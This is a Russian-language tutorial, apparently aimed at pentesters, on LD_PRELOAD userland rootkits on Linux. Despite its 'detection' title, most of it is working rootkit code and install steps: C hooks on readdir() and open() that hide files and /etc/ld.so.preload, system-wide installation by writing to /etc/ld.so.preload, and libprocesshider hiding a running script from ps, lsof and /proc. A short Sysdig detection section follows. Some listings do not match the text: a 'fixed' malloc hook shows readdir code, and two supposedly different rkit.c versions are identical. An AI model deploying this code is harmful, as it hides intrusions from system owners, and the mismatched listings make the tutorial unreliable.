Обна­руже­ние рут­китов с помощью перемен­ной LD_PRELOAD

Обна­руже­ние рут­китов с перемен­ной LD_PRELOAD

В nix есть переменная сре­ды, которую если указать, ваши библиотеки будут загружены раньше остальных. Это означает, что системные вызовы можно заменить. Называется переменная LD_PRELOAD, и в этой статье мы подробно обсудим обна­руже­ние рут­китов с помощью перемен­ной LD_PRELOAD

Все сведения предоставлена ​​исключительно в информационных целях. Данная публикация написана в интересах пентестеров. Ни составитель, ни редколлегия веб-сайта https://cryptoworld.su/ не несут ответственности из-за вполне вероятного ущерба, нанесенного использованием материалами данной статьи.

Официально основной целью LD_PRELOAD является отладка или проверка функций в библиотеках динамической компоновки. Если вы не хотите исправлять и перекомпилировать саму библиотеку, вы можете использовать переменную сре­ды.

Для при­мера, в случае если нам нуж­но пред­загру­зить биб­лиоте­ку ld.so, то в таком случае нам достаточно 2 спо­соба:

  1. Ус­тановить перемен­ную сре­ды LD_PRELOAD с фай­лом биб­лиоте­ки.
  2. За­писать путь к биб­лиоте­ке в файл /etc/ld.so.preload.

В 1-ом случае мы заявляем переменную с библиотекой в интересах текущего юзера а также его среды. Во 2-ом наша библиотека будет загружена ранее других в интересах абсолютно всех пользователей системы.

Нас интересует второй метод: именно этот метод часто используется в руткитах для перехвата некоторых вызовов, таких как чтение файла, перечисление каталога, процессов и других функций, позволяющих злоумышленнику скрыть свое присутствие в системе.

Переопределение системных вызовов

В первую очередь прежде чем мы приступим к реальным функциям руткитов, давайте на небольшом примере покажем, как можно перехватить вызов стандартной функции malloc ().

В этих целях мы набросаем простенькую програмку, которая выделяет блок памяти при поддержке функции malloc (), затем помеща­ет в него фун­кци­ей strncpy() стро­ку I'll be back и выводит ее с помощью fprintf () по адресу который возвращает malloc ().

Соз­даем файл call_malloc.c:

#include 
#include 
#include 
#include 
int main()
{
    char *alloc = (char *)malloc(0x100);
    strncpy(alloc, "I'll be back\0", 14);
    fprintf(stderr, "malloc(): %p\nStr: %s\n", alloc, alloc);
}

Те­перь набросаем прог­рамму, пере­опре­деля­ющую malloc().

Внут­ри — фун­кция с тем же име­нем, что и в libc. Наша фун­кция не дела­ет ничего, кро­ме вывода стро­ки в STDERR c помощью fprintf(). Соз­дадим файл libmalloc.c:

#define _GNU_SOURCE
#include 
#include 
#include 
void *malloc(size_t size)
{
    fprintf(stderr, "\nHijacked malloc(%ld)\n\n", size);
    return 0;
}

Те­перь с помощью GCC ском­пилиру­ем наш код:

$ ls
call_malloc.c  libmalloc.c

$ gcc -Wall -fPIC -shared -o libmalloc.so libmalloc.c -ldl
$ gcc -o call_malloc call_malloc.c
$ ls
call_malloc  call_malloc.c  libmalloc.c  libmalloc.so

Вы­пол­ним нашу прог­рамму call_malloc:

$ ./call_malloc
malloc(): 0x5585b2466260
Str: I'll be back

Пос­мотрим, какие биб­лиоте­ки исполь­зует наша прог­рамма, с помощью ути­литы ldd:

$ ldd ./call_malloc
   linux-vdso.so.1 (0x00007fff0cd81000)
   libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f0d35c74000)
   /lib64/ld-linux-x86-64.so.2 (0x00007f0d35e50000)

От­лично вид­но, что без исполь­зования пред­загруз­чика LD_PRELOAD стан­дар­тно заг­ружа­ются три биб­лиоте­ки:

  1. linux-vdso.so.1 — пред­став­ляет собой вир­туаль­ный динами­чес­кий раз­деля­емый объ­ект (Virtual Dynamic Shared Object, VDSO), исполь­зуемый для опти­миза­ции час­то исполь­зуемых сис­темных вызовов. Его мож­но игно­риро­вать (под­робнее — man vdso).
  2. libc.so.6 — биб­лиоте­ка libc с исполь­зуемой нами фун­кци­ей malloc() в прог­рамме call_malloc.
  3. ld-linux-x86-64.so.2 — сам динами­чес­кий ком­понов­щик.

Те­перь давайте опре­делим перемен­ную LD_PRELOAD и поп­робу­ем перех­ватить malloc(). Здесь я не буду исполь­зовать export и огра­ничусь однос­троч­ной коман­дой для прос­тоты:

$ LD_PRELOAD=./libmalloc.so ./call_malloc
Hijacked malloc(256)
Ошиб­ка сег­менти­рова­ния

Мы успешно перех­ватили malloc() из биб­лиоте­ки libc.so, но сде­лали это не сов­сем чис­то. Фун­кция воз­вра­щает зна­чение ука­зате­ля NULL, что при разыме­нова­нии strncpy() в прог­рамме ./call_malloc вызыва­ет ошиб­ку сег­менти­рова­ния. Испра­вим это.

Отработка сбоев

Для того чтобы обладать возможностью запускать полезную нагрузку руткита в автоматическом режиме, нам нужно вернуть значение, которое вернула бы первоначально вызванная функция. У нас есть два способа решить эту проблему:

  • на­ша фун­кция malloc() дол­жна реали­зовы­вать фун­кци­ональ­ность malloc() биб­лиоте­ки libc по зап­росу поль­зовате­ля. Это пол­ностью изба­вит от необ­ходимос­ти исполь­зовать malloc() из libc.so;
  • libmalloc.so каким-то образом должна иметь возможность вызывать malloc () из libc и возвращать результаты вызывающей стороне.

Каждый раз, когда вызывается malloc (), динамический компоновщик вызывает версию malloc () из libmalloc.so, поскольку это первое появление malloc (). Но мы хотим вызвать следующее вхождение malloc (), которое находится в libc.so.

Это связано с тем, что динамический компоновщик внутренне использует функцию dlsym () из /usr/include/dlfcn.h для поиска адреса, загруженного в память.

По умолчанию первым аргументом dlsym () является дескриптор RTLD_DEFAULT, который возвращает адрес первого вхождения символа. Однако есть еще один псевдо-указатель динамической библиотеки, RTLD_NEXT, который ищет следующее вхождение. Используя RTLD_NEXT, мы можем найти функцию malloc () библиотеки libc.so

От­редак­тиру­ем libmalloc.с. Ком­мента­рии объ­ясня­ют, что про­исхо­дит внут­ри прог­раммы:

#define _GNU_SOURCE
#include 
#include 
#include 
#include 
#include 
// Определяем макрос, который является
// названием скрываемого файла
#define RKIT "rootkit.so"
// Здесь все то же, что и в примере с malloc()
struct dirent* (*orig_readdir)(DIR *) = NULL;
struct dirent *readdir(DIR *dirp)
{
  if (orig_readdir == NULL)
  orig_readdir = (struct dirent*(*)(DIR *))dlsym(RTLD_NEXT, "readdir");
  // Вызов orig_readdir() для получения каталога
  struct dirent *ep = orig_readdir(dirp);
  while ( ep != NULL && !strncmp(ep->d_name, RKIT, strlen(RKIT)) )
          ep = orig_readdir(dirp);
  return ep;
}

Цикл проверяет, является ли значение каталога NULL, затем вызывается strncmp (), чтобы проверить, совпадает ли d_name каталога с RKIT (файлом руткита). Если оба условия верны, вызывается orig_readdir () для чтения следующей записи каталога. Это игнорирует все каталоги с d_name, начинающиеся с rootkit.so.

Теперь посмотрим, как на этот раз работает наша библиотека. Скомпилируем еще раз и посмотрим результат работы:

$ gcc -Wall -fPIC -shared -o libmalloc.so libmalloc.c -ldl
$ LD_PRELOAD=./libmalloc.so ./call_malloc
Hijacked malloc(256)
malloc(): 0x55ca92740260
Str: I'll be back

Как видим, все прошло хорошо. Первоначально при первом возникновении malloc () использовалась наша реализация этой функции, а затем исходная реализация библиотеки libc.so.

Теперь, когда мы поняли, как работает LD_PRELOAD и как мы можем указать работу со стандартными системными функциями, пришло время применить эти знания на практике.

Поп­робу­ем сде­лать таким образом, что­бы ути­лита ls, ког­да выводит спи­сок фай­лов, про­пус­кала рут­кит.

Скрываем файл из листинга ls

Подавляющая часть динамически компилируемых программ используют системные вызовы libc. Давайте воспользуемся утилитой ldd, чтобы посмотреть, какие библиотеки использует программа ls:

$ ldd /bin/ls
...
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f1ade498000)
...

Оказывается, ls динамически компилируется с использованием функций библиотеки libc.so. Теперь посмотрим, какие системные вызовы утилита ls использует для чтения каталога. Для этого выполните ltrace ls в пустом каталоге:

$ ltrace ls
memcpy(0x55de4a72e9b0, ".\0", 2)  = 0x55de4a72e9b0
__errno_location()                = 0x7f3a35b07218
opendir(".")                      = 0x55de4a72e9d0
readdir(0x55de4a72e9d0)           = 0x55de4a72ea00
readdir(0x55de4a72e9d0)           = 0x55de4a72ea18
readdir(0x55de4a72e9d0)           = 0
closedir(0x55de4a72e9d0)          = 0

Очевидно, что при запуске команды без аргументов ls использует системные вызовы opendir (), readdir () и closedir (), которые являются частью библиотеки libc. Теперь давайте воспользуемся LD_PRELOAD и заменим эти стандартные вызовы нашими собственными. Напишем простую библиотеку, в которой мы изменим функцию readdir () так, чтобы она скрывала наш файл кода.

Здесь мы подошли к написанию простого руткита, работающего без нагрузки. Все, что он будет делать, это скрывать сам себя от глаз системного администратора.

Я соз­дал дирек­торию rootkit и даль­ше буду работать в ней. Соз­дадим файл rkit.c.

#define _GNU_SOURCE
#include 
#include 
#include 
#include 
#include 
#define RKIT    "rootkit.so"
#define LD_PL   "ld.so.preload"
struct dirent* (*orig_readdir)(DIR *) = NULL;
struct dirent *readdir(DIR *dirp)
{
  if (orig_readdir == NULL)
    orig_readdir = (struct dirent*(*)(DIR *))dlsym(RTLD_NEXT, "readdir");
  struct dirent *ep = orig_readdir( dirp );
  while ( ep != NULL &&
        ( !strncmp(ep->d_name, RKIT,  strlen(RKIT)) ||
          !strncmp(ep->d_name, LD_PL, strlen(LD_PL))
        )) {
          ep = orig_readdir(dirp);
         }
  return ep;
}

Ком­пилиру­ем и про­веря­ем работу:

$ gcc -Wall -fPIC -shared -o rootkit.so rkit.c -ldl
$ ls -lah
ито­го 28K
drwxr-xr-x 2 n0a n0a 4,0K ноя 23 23:46 .
drwxr-xr-x 4 n0a n0a 4,0K ноя 23 23:33 ..
-rw-r--r-- 1 n0a n0a  496 ноя 23 23:44 rkit.c
-rwxr-xr-x 1 n0a n0a  16K ноя 23 23:46 rootkit.so

$ LD_PRELOAD=./rootkit.so ls -lah
ито­го 12K
drwxr-xr-x 2 n0a n0a 4,0K ноя 23 23:46 .
drwxr-xr-x 4 n0a n0a 4,0K ноя 23 23:33 ..
-rw-r--r-- 1 n0a n0a  496 ноя 23 23:44 rkit.c

Нам уда­лось скрыть файл rootkit.so от пос­торон­них глаз. Пока мы тес­тирова­ли биб­лиоте­ку исклю­читель­но в пре­делах одной коман­ды.

Используем /etc/ld.so.preload

Да­вайте вос­поль­зуем­ся записью в /etc/ld.so.preload для сок­рытия нашего фай­ла от всех поль­зовате­лей сис­темы. Для это­го запишем в ld.so.preload путь до нашей биб­лиоте­ки:

# ls
rkit.c  rootkit.so

# echo $(pwd)/rootkit.so > /etc/ld.so.preload
# ls
rkit.c

В итоге мы утаили файл абсолютно от всех пользователей (впрочем это далеко не совсем так, однако об этом позднее). Но опытный администратор найдет нас довольно легко, так как наличие самого файла /etc/ld.so.preload может указывать на наличие руткита — особенно если такого файла раньше не было.

Скрываем ld.so.preload

Попробуем скрыть сам файл ld.so.preload из листинга. Давайте немного подправим код rkit.c:

#define _GNU_SOURCE
#include 
#include 
#include 
#include 
#include 
#define RKIT    "rootkit.so"
#define LD_PL   "ld.so.preload"
struct dirent* (*orig_readdir)(DIR *) = NULL;
struct dirent *readdir(DIR *dirp)
{
  if (orig_readdir == NULL)
    orig_readdir = (struct dirent*(*)(DIR *))dlsym(RTLD_NEXT, "readdir");
  struct dirent *ep = orig_readdir( dirp );
  while ( ep != NULL &&
        ( !strncmp(ep->d_name, RKIT,  strlen(RKIT)) ||
          !strncmp(ep->d_name, LD_PL, strlen(LD_PL))
        )) {
          ep = orig_readdir(dirp);
         }
  return ep;
}

Для ясности я добавил еще один макрос LD_PL в предыдущую программу с именем файла ld.so.preload, который мы также добавили в цикл while, где мы сравниваем имя файла, чтобы скрыть.

В последствии компиляции первичный файл rootkit.so будет перезаписан, а требуемый файл ld.so.preload исчезнет из вывода утилиты ls. Давайте проверим:

$ gcc -Wall -fPIC -shared -o rootkit.so rkit.c -ldl
$ ls
rkit.c

$ ls /etc/
...
ldap          tmpfiles.d
ld.so.cache   ucf.conf
ld.so.conf    udev
ld.so.conf.d  udisks2
libao.conf    ufw
libaudit.conf update-motd.d
libblockdev   UPower
...

Ну вот. мы вроде бы стали на одну ступень ближе к конспирации.

Углубляемся фундаментальнее

Попытаемся про­верить, смо­жем ли мы про­читать файл ld.so.preload коман­дой cat:

$ cat /etc/ld.so.preload
/root/rootkit/src/rootkit.so

Наличие нашего файла можно обнаружить простым чтением. Плохо(. Но почему же так?

Конечно, cat вызывает функцию, отличную от readdir (), чтобы получить содержимое, которое мы так кропотливо переписали. Что ж, посмотрим, что использует cat:

$ ltrace cat /etc/ld.so.preload
...
__fxstat(1, 1, 0x7ffded9f6180)      = 0
getpagesize()                       = 4096
open("/etc/ld.so.preload", 0, 01)   = 3
__fxstat(1, 3, 0x7ffded9f6180)      = 0
posix_fadvise(3, 0, 0, 2)           = 0
...

На этот раз нам предстоит работать с функцией open (). Поскольку у нас уже есть опыт, мы добавим в наш руткит функцию, которая вежливо сообщит при доступе к файлу /etc/ld.so.preload, что файл не существует (ошибка нет записи или просто ENOENT).

Сно­ва модифи­циру­ем rkit.c:

#define _GNU_SOURCE
#include 
#include 
#include 
#include 
#include 
#include 
// Добавляем путь, который использует open()
// для открытия файла /etc/ld.so.preload
#define LD_PATH "/etc/ld.so.preload"
#define RKIT    "rootkit.so"
#define LD_PL   "ld.so.preload"
struct dirent* (*orig_readdir)(DIR *) = NULL;
// Сохраняем указатель оригинальной функции open
int (*o_open)(const char*, int oflag) = NULL;
struct dirent *readdir(DIR *dirp)
{
  if (orig_readdir == NULL)
    orig_readdir = (struct dirent*(*)(DIR *))dlsym(RTLD_NEXT, "readdir");
  struct dirent *ep = orig_readdir( dirp );
  while ( ep != NULL &&
        ( !strncmp(ep->d_name, RKIT,  strlen(RKIT)) ||
          !strncmp(ep->d_name, LD_PL, strlen(LD_PL))
        )) {
          ep = orig_readdir(dirp);
         }
  return ep;
}
// Работаем с функцией open()
int open(const char *path, int oflag, ...)
{
  char real_path[PATH_MAX];
  if(!o_open)
    o_open = dlsym(RTLD_NEXT, "open");
  realpath(path, real_path);
  if(strcmp(real_path, LD_PATH) == 0)
  {
    errno = ENOENT;
    return -1;
  }
  return o_open(path, oflag);
}

Здесь мы добави­ли кусок кода, который дела­ет то же самое, что и с readdir(). Ком­пилиру­ем и про­веря­ем:

$ gcc -Wall -fPIC -shared -o rootkit.so rkit.c -ldl
$ cat /etc/ld.so.preload
cat: /etc/ld.so.preload: Нет такого фай­ла или катало­га

Так гораз­до луч­ше, но это еще далеко не все вари­анты обна­руже­ния /etc/ld.so.preload.

Мы все еще можем легко удалить файл, переместить его с изменением имени (а затем снова увидеть), изменить его разрешения, не сообщая об ошибке. Даже bash услужливо продолжит свое имя, когда вы нажмете клавишу табуляции.

В стоящих рут­китах, экс­плу­ати­рующих лазей­ку  с LD_PRELOAD,реали­зован перех­ват сле­дующих фун­кций:

  • listxattrllistxattrflistxattr;
  • getxattrlgetxattrfgetxattr;
  • setxattrlsetxattrfsetxattr;
  • removexattrlremovexattrfremovexattr;
  • openopen64openatcreat;
  • unlinkunlinkatrmdir;
  • symlinksymlinkat;
  • mkdirmkdiratchdirfchdiropendiropendir64fdopendirreaddirreaddir64;
  • execve.

Конечно, мы не будем анализировать под­мену каж­дой из них. Вы можете посмотреть на руткит cub3 как на пример перехвата перечисленных функций — все они имеют одинаковые dlsym () и RTLD_NEXT.

Скрываем процесс с через LD_PRELOAD

Когда руткит запущен, он должен каким-то образом скрывать свою активность от стандартных утилит мониторинга, таких как lsof, ps, top.

Мы уже довольно подробно разобрались, как работает переопределение функций LD_PRELOAD. То же самое и с процессами. Более того, стандартные программы используют procfs, виртуальную файловую систему, которая представляет собой интерфейс для взаимодействия с ядром ОС.

Чтение и запись в procfs такие же, как и в обычной файловой системе. То есть, как вы понимаете, здесь нам пригодится наш опыт работы с readdir ().

libprocesshider

Каким образом замаскировать активность мониторинга, предлагаю проанализировать на наглядном примере libprocesshider, который был разработан Джанлукой Борелло, автором Sysdig.com (о методах обнаружения руткитов LD_PRELOAD и о Sysdig и  мы поговорим в конце статьи).

Теперь ско­пиру­ем код с GitHub и раз­берем­ся, что к чему:

$ git clone https://github.com/gianlucaborello/libprocesshider
$ cd libprocesshider
$ ls
evil_script.py  Makefile  processhider.c  README.md

В опи­сании к libprocesshider все прос­то: дела­ем make, копиру­ем в /usr/local/lib/ и добав­ляем в /etc/ld.so.preload. Сде­лаем все, кро­ме пос­ледне­го:

$ make
$ gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl
$ sudo mv libprocesshider.so /usr/local/lib/

Пос­мотрим, каким обра­зом ps получа­ет информа­цию о про­цес­сах. Для это­го запус­тим ltrace:

$ ltrace /bin/ps
...
time(0)                                                      = 1606208519
meminfo(0, 4096, 0, 0x7f1787ce9207)                          = 0
openproc(96, 0, 0, 0)                                        = 0x55c6f9f145c0
readproc(0x55c6f9f145c0, 0x55c6f8258580, 0x7f1787651010, 0)  = 0x55c6f8258580
readproc(0x55c6f9f145c0, 0x55c6f8258580, 0, 7)               = 0x55c6f8258580
readproc(0x55c6f9f145c0, 0x55c6f8258580, 0, 5)               = 0x55c6f8258580
readproc(0x55c6f9f145c0, 0x55c6f8258580, 0, 5)               = 0x55c6f8258580
...

Ин­форма­цию о про­цес­се получа­ем при помощи фун­кции readproc(). Пос­мотрим реали­зацию этой фун­кции в фай­ле readproc.c:

static int simple_nextpid(PROCTAB *restrict const PT, proc_t *restrict const p) {
  static struct direct *ent;
  char *restrict const path = PT->path;
  for (;;) {
    ent = readdir(PT->procfs);
    if(unlikely(unlikely(!ent) || unlikely(!ent->d_name))) return 0;
    if(likely(likely(*ent->d_name > '0') && likely(*ent->d_name <= '9'))) break; } p->tgid = strtoul(ent->d_name, NULL, 10);
  p->tid = p->tgid;
  memcpy(path, "/proc/", 6);
  strcpy(path+6, ent->d_name);
  return 1;
}

Из этого кода ясно, что PID процессов получаются путем вызова readdir () в цикле for. Другими словами, если нет каталога процесса, значит, нет самого процесса для мониторинга утилит. Я привожу пример части кода libprocesshider, где мы скрываем каталог процесса, используя уже известный нам метод:

...
while(1)
{
    dir = original_##readdir(dirp);
    if(dir) {
        char dir_name[256];
        char process_name[256];
        if(get_dir_name(dirp, dir_name, sizeof(dir_name)) &&
            strcmp(dir_name, "/proc") == 0 &&
            get_process_name(dir->d_name, process_name) &&
            strcmp(process_name, process_to_filter) == 0) {
            continue;
        }
    }
     break;
}
return dir;
...

При­чем само имя про­цес­са get_process_name() берет­ся из /proc/pid/stat.

Про­верим наши догад­ки. Для это­го запус­тим пред­лага­емый evil_script.py в фоне:

$ ./evil_script.py 1.2.3.4 1234 &
[1] 3435

3435 — это PID нашего работа­юще­го про­цес­са evil_script.py. Про­верим вывод ути­литы htop и убе­дим­ся, что evil_script.py при­сутс­тву­ет в спис­ке про­цес­сов.

Обна­руже­ние рут­китов с помощью перемен­ной LD_PRELOAD

evil_script.py в спис­ке про­цес­сов htop

Про­верим вывод ps и lsof для обна­руже­ния сетевой активнос­ти:

$ sudo ps aux | grep evil_script.py
root       3435 99.5  0.4  19272  8260 pts/1    R    11:48  63:20 /usr/bin/python ./evil_script.py 1.2.3.4 1234
root       3616  0.0  0.0   6224   832 pts/0    S+   12:52   0:00 grep evil_script.py

$ sudo lsof -ni | grep evil_scri
evil_scri 3435        root    3u  IPv4  41410      0t0  UDP 192.168.232.138:52676->1.2.3.4:1234

Те­перь пос­мотрим, сущес­тву­ет ли дирек­тория с PID про­цес­са evil_script.py:

$ sudo ls /proc | grep 3435
3435

$ cat /proc/3435/status
Name: evil_script.py
Umask:  0022
State:  R (running)
Tgid: 3435
Ngid: 0
Pid:  3435
...

Все пред­ска­зуемо. Теперь самое вре­мя добавить биб­лиоте­ку libprocesshider.so в пред­загруз­ку гло­баль­но для всей сис­темы. Про­пишем ее в /etc/ld.so.preload:

# echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

Про­веря­ем дирек­торию /proc, а так­же вывод lsof и ps.

$ ls /proc | grep 3435
$ lsof -ni | grep evil_scri
ps aux | grep evil_script.py
root       3707  0.0  0.0   6244   900 pts/0    S+   13:10   0:00 grep evil_script.py

Ре­зуль­тат налицо. Теперь в /proc нель­зя пос­мотреть дирек­торию с PID скрип­та evil_script.py. Одна­ко ста­тус про­цес­са по‑преж­нему виден в фай­ле /proc/3435/status.

$ cat /proc/3435/status
Name: evil_script.py
Umask:  0022
State:  R (running)
Tgid: 3435
Ngid: 0
Pid:  3435
...

Подведем итоги. В первой части статьи мы изучили способы перехвата функций и их изменения, что позволяет скрыть руткиты. А потом они сделали то же самое, чтобы скрыть процессы от стандартных инструментов мониторинга.

Как вы уже догадались, простые руткиты, несмотря на все уловки, обнаруживаются. Например, различными манипуляциями с файлом /etc/ld.so.preload или проверкой используемых библиотек с помощью ldd.

Однако что, если создатель руткита до такой степени стоящ, что подключил все возможные функции, ldd молчит и все еще есть подозрения на сетевую или другую активность?

Sysdig в качестве решения

Sysdig имеет другую структуру, чем стандартные инструменты. По архитектуре он близок к таким продуктам, как libcap, tcpdump и Wireshark.

Специализированная программа-драйвер sysdig-probe перехватывает системные действия на уровне ядра, в дальнейшем активируется функционирование точек трассировки ядра, что, в свою очередность, запускает ​обработчики этих событий. Обработчики хранят информацию о событии в общем буфере. Затем эту информацию можно просмотреть или сохранить в текстовом файле

Пос­мотрим, как с помощью Sysdig най­ти evil_script.py. К при­меру, по заг­рузке цен­траль­ного про­цес­сора:

$ sudo sysdig -c topprocs_cpu
CPU%                Process             PID
---------------------------------------------
99.00%              evil_script.py      5979
2.00%               sysdig              5997
0.00%               sshd                928
0.00%               wpa_supplicant      474
0.00%               systemd             909
0.00%               exim4               850
0.00%               sshd                938
0.00%               su                  948
0.00%               in:imklog           472
0.00%               in:imuxsock         472

Вы можете увидеть, как работает ps. В качестве бонуса Sysdig покажет, что динамический компоновщик загрузил пользовательскую библиотеку libprocesshide перед libc:

$ sudo sysdig proc.name = ps
2731 00:21:52.721054253 1 ps (3351) < execve res=0 exe=ps args=aux. tid=3351(ps) pid=3351(ps) (out)ptid=3111(bash) cwd=/home/gianluca fdlimit=1024 pgft_maj=0 pgft_min=62 vm_size=512 vm_rss=4 vm_swap=0
...
2739 00:21:52.721129329 1 ps (3351) < open fd=3(/usr/local/lib/libprocesshider.so) name=/usr/local/lib/libprocesshider.so flags=1(O_RDONLY) mode=0 2740 00:21:52.721130670 1 ps (3351) > read fd=3(/usr/local/lib/libprocesshider.so) size=832
...
2810 00:21:52.721293540 1 ps (3351) > open
2811 00:21:52.721296677 1 ps (3351) < open fd=3(/lib/x86_64-linux-gnu/libc.so.6) name=/lib/x86_64-linux-gnu/libc.so.6 flags=1(O_RDONLY) mode=0 2812 00:21:52.721297343 1 ps (3351) > read fd=3(/lib/x86_64-linux-gnu/libc.so.6) size=832
...

Схо­жие фун­кции пре­дос­тавля­ют ути­литы SystemTapDTrace и его све­жая пол­ноцен­ная замена — BpfTrace.

Итоги

Многочисленные акции руткитов в системе вполне вероятно выявить. Например, замену системных утилит легко обнаружить с помощью таких инструментов, как SELinux. Существуют также специализированные антируткит-программы, в которых улучшены способы выявления также удаления подобных вредоносных объектов из системы. Некоторые антивирусы для рабочих станций включают в себя комплексный модуль защиты от руткитов.

Руткит может заразить сервер крупной компании и приватный пк. Значительное количество руткитов обладают функциями, сопоставимыми с функциями инструментов удаленного администрирования (RAT). Сегодня существуют конструкторы программного обеспечения с открытым исходным кодом, с помощью которых в том числе и начинающий гопник способен «собрать» собственный руткит и заразить им информационную систему либо чей-нибудь пк. Уязвимости браузера позволяют инициировать процесс внедрения руткита на компьютер жертвы, даже если жертва отнюдь не закачивала практически никаких файлов, а попросту вошла на инфицированный интернет-сайт.

Руткиты распространяются таким же образом, как и прочие вредоносные программы: маскируются под бесплатные приложения при посещении зараженного сайта. В этом случае жертве не нужно ничего скачивать. Руткиты также могут попасть на ваш компьютер с внешнего носителя.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Click to rate this post!
[Total: 0 Average: 0]

Leave a reply:

Your email address will not be published.